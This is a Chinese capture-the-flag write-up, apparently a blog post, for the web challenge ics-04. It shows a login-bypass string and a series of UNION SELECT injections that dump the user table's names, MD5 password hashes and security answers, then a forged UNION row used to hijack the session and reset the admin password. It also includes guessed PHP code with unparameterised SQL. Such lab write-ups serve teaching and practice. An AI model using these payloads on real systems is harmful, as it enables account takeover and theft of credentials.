攻防世界-web:ics-04

题目描述

工控云管理系统新添加的登录和注册页面存在漏洞,请找出flag。

题目截图

解题过程

(1)跟具题目描述,可以确定解题焦点应该放在登录界面跟注册界面
我们先尝试注册一个用户

用户名:user1
密码:1
密保问题:1
密保答案:1


然后登录


返回了普通用户没有什么用
所以我们必须以管理员用户登录才能获取flag

可以看到这个登录页面存在密码找回功能

经过测试,发现这个页面存在SQL注入漏洞
当在用户名框内输入1'OR(1)OR'时,页面发生了变化,成功绕过用户名检查。

后面就是SQL注入常规操作。
我尝试order by 操作,发现成功不了,可能是后台过滤了什么。
于是直接尝试union select 操作。
当测试到SQL:1' union select 1,2,3,4#时,发现页面显示正常。

密保问题处显示3,表示3的位置为显示位。接下来就顺理成章了。

查数据库名

SQL:1' union select 1,2,database(),4#
发现无法得到数据库名,可能后台过滤了。
SQL:1' union select 1,2,group_concat(schema_name),4 from information_schema.schemata#

得到数据库名:cetc004

查表名

SQL:1' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema = 'cetc004'#

得到数据表:user

查列名

SQL:1' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name = 'user'#

得到列名:username,password,question,answer,Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view
列名好多,可是有用的就前面几个:username,password,question,answer

查用户

SQL:1' union select 1,2,group_concat(username),4 from cetc004.user#
(注意:直接拼接user表查询不出数据)

用户名:c3tlwDmIn23,user,user1

查密码

SQL:1' union select 1,2,group_concat(password),4 from cetc004.user#

密码:2f8667f381ff50ced6a3edc259260ba9,c4ca4238a0b923820dcc509a6f75849b,c4ca4238a0b923820dcc509a6f75849b

查问题

SQL:1' union select 1,2,group_concat(question),4 from cetc004.user#

问题:cetc,1,1

查答案

SQL:1' union select 1,2,group_concat(answer),4 from cetc004.user#

答案:cdwcewf2e3235y7687jnhbvdfcqsx12324r45y687o98kynbgfvds,1,1

改密码

用户名:c3tlwDmIn23
问题:cetc
答案:cdwcewf2e3235y7687jnhbvdfcqsx12324r45y687o98kynbgfvds
原始密码:不知道(数据库里查询的是MD5值,不是原始密码,利用在线md5爆破没结果。)

题目做到这里,感觉应该要结束了,但是不知道如何继续了。
这个时候我们看看更改密码的请求包

发现没有用户名,只有答案跟密码,那后台怎么判别是要修改哪个用户的密码呢?经过分析,可以发现每次查询用户成功后,就会返回一个PHPSESSID,这个PHPSESSID就是用户验证成功后在服务器存储一些信息的,一般是用户凭证信息,例如用户ID,用户密码等。
例如下面的php代码,就是一般登录后在服务器端通过session把数据存储下来。

function login($username,$password)
{
	....sql查询
	if(登录成功)
	{
		session_start();
		$_SESSION['username']=$username;
		$_SESSION['password']=$password;
	}
}

而这道题后台大概的修改密码的php代码可以为猜测如下:

function check_user($username)
{
	$sql = "select * from user where username = '$username'";
	$row = db_query($sql);
	if(count($row)>0)
	{
		session_start();
		$_SESSION['islogin'] = true;
		$_SESSION['username']=$row[0]['username'];
		$_SESSION['password']=$row[0]['password'];
		$_SESSION['question']=$row[0]['question'];
		$_SESSION['answer']  =$row[0]['answer'];
		return true;
	}
	else
	{
		return false;
	}
}

function update_password($answer,$password)
{
	session_start();
	if($_SESSION['islogin'])
	{
		if($_SESSION['answer']===$answer&&$_SESSION['password']===md5($password))
		{
			session_start();
			$_SESSION['auth'] = true;
			return true;
		}
		else
		{
			return false;
		}
	}
	return false;
}

function change_password($password)
{
	session_start();
	if($_SESSION['auth']&&$_SESSION['islogin'])
	{
		$password = md5($password);
		$sql = "update user set password='$password' where username='$_SESSION['username']'";
		db_query($sql);
		return true;
	}
	return false;
}

可以看出,我们只要人为的查询出我们知道信息,然后把这些信息存储在session里,参与后续的判断,就可以实现其他用户密码的修改。
SQL:1' union select 'c3tlwDmIn23','202cb962ac59075b964b07152d234b70','1','2'#
其中202cb962ac59075b964b07152d234b70是 123 md5加密后的值。


成功进入修改密码界面。
我们输入新密码,修改成功。

尝试登录


得到flag

posted @ 2020-05-08 21:26  顺时针--+  阅读(674)  评论(0编辑  收藏  举报